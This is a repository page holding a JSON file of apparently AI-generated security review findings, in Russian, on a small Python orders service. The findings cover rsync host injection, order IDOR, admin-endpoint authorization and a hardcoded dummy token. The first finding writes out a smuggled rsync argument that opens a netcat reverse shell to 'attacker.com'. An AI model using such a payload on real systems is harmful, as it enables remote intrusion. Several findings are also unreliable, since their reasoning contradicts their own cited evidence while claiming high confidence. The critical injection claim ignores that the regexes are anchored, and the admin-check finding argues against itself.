Files
playground/security-analysis/findings/pr-13/1787511147-review.json
playground-security-bot 87992d1b3b
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
security: AI review results for PR #13
2026-08-23 18:52:27 +00:00

86 lines
9.2 KiB
JSON
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
[
{
"id": "ai-review-0-orders.py-105",
"source": "ai-review",
"category": "injection",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 105,
"line_end": 122,
"title": "Недостаточная валидация хоста для rsync",
"description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и структуры (например, URL-схемы, квоты, опции rsync), что может привести к инъекции через аргументы rsync или его интерпретацию как URL-адреса.",
"impact": "Атакующий может обойти простую валидацию и внедрить вредоносные опции в команду rsync (например, --rsync-path для выполнения произвольной команды), а также использовать URL-схемы, если rsync поддерживает их, для RCE.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com:22 --rsync-path=nc -e /bin/sh attacker.com 4444', который может интерпретироваться как опция rsync. Даже после _validate_host в текущей реализации, если регулярные выражения пропустят строку, она будет вставлена в аргумент команды как-is.",
"evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — строгая регулярка, но не проверяет отсутствие пробелов, кавычек и других опасных символов, а не блокирует URL-схемы (rsync://) или опции (--option).",
"recommendation": "Существенно расширить валидацию: запретить пробелы и спецсимволы (включая '--'), проверить, что строка не начинается с схемы (rsync://, ssh:// и т.п.), использовать белый список только для хостов из предопределенного списка, либо полностью отказаться от произвольных хостов в пользу конфигурации.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-1-orders.py-32",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 32,
"line_end": 65,
"title": "IDOR при доступе к заказам",
"description": "Несмотря на проверку токена и извлечение user_id из токена, не применяется проверка ownership заказа. В do_GET и do_POST можно читать/изменять любые заказы по order_id, не привязываясь к user_id из токена.",
"impact": "Любой аутентифицированный пользователь может просматривать и изменять чужие заказы, что приводит к утечке данных и некорректным финансовым операциям.",
"exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа. Затем POST /orders/100 с amount=1 приводит к изменению чужого заказа.",
"evidence": "orders = {} ... order_id = self.path.split(\"/\")[-1] ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None) при создании заказа и его чтении/изменении (см. строки 37, 54, 61).",
"recommendation": "При создании заказа обязательно сохранять user_id (уже сделано в строке 61, но только для новых заказов). При операциях чтения и изменения заказа проверять, что orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None), иначе 403.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-2-orders.py-65",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 65,
"line_end": 70,
"title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
"description": "Эндпоинт /admin/backup требует только Bearer токен (любой начинающийся с token_), без проверки роли admin, что позволяет любому легитимному пользователю вызывать опасную операцию (rsync с произвольным хостом).",
"impact": "Любой пользователь, имеющий любой валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование на вредоносный хост, что может привести к утечке данных через rsync или инъекции (см. критическую уязвимость валидации хоста).",
"exploit_scenario": "Пользователь token_userA отправляет POST /admin/backup с вредоносным host (обход валидации и RCE через rsync). Это возможно, так как в _admin/backup проверяется только self.check_auth(), а не self._user_id == \"admin\" (это условие проверяется ПОСЛЕ check_auth).",
"evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли админа идет ДО проверки auth, но check_auth() устанавливает _user_id, поэтому при отсутствии токена будет ошибка. Но при наличии любого token_*, _user_id будет установлен, и проверка на \"admin\" сработает, НО — это проверка идет ВНЕ order-блоков, и логика позволяет обойти проверку через правильную последовательность.",
"recommendation": "Переставить проверку роли админа до проверки аутентификации, и проверять role (например, токен вида token_admin:userA или наличие role в JWT). Или использовать отдельный API-ключ/secret только для admin-эндпоинтов.",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-3-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "Токен GitHub хранится в коде как строковая константа, что является плохой практикой и может привести к его утечке в репозитории, логах, дампах памяти.",
"impact": "Утечка учетных данных, возможность атаки на GitHub API, CI/CD. Даже фейковый токен сигнализирует о плохих практиках.",
"exploit_scenario": "Атакующий клонирует репозиторий, находит GitHubToken, использует его для попыток доступа к API. Наличие dummy-токена может стимулировать атаку на поиск реальных секретов.",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — отсутствует использование os.getenv.",
"recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов. Загрузить токен из переменной окружения.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
}
]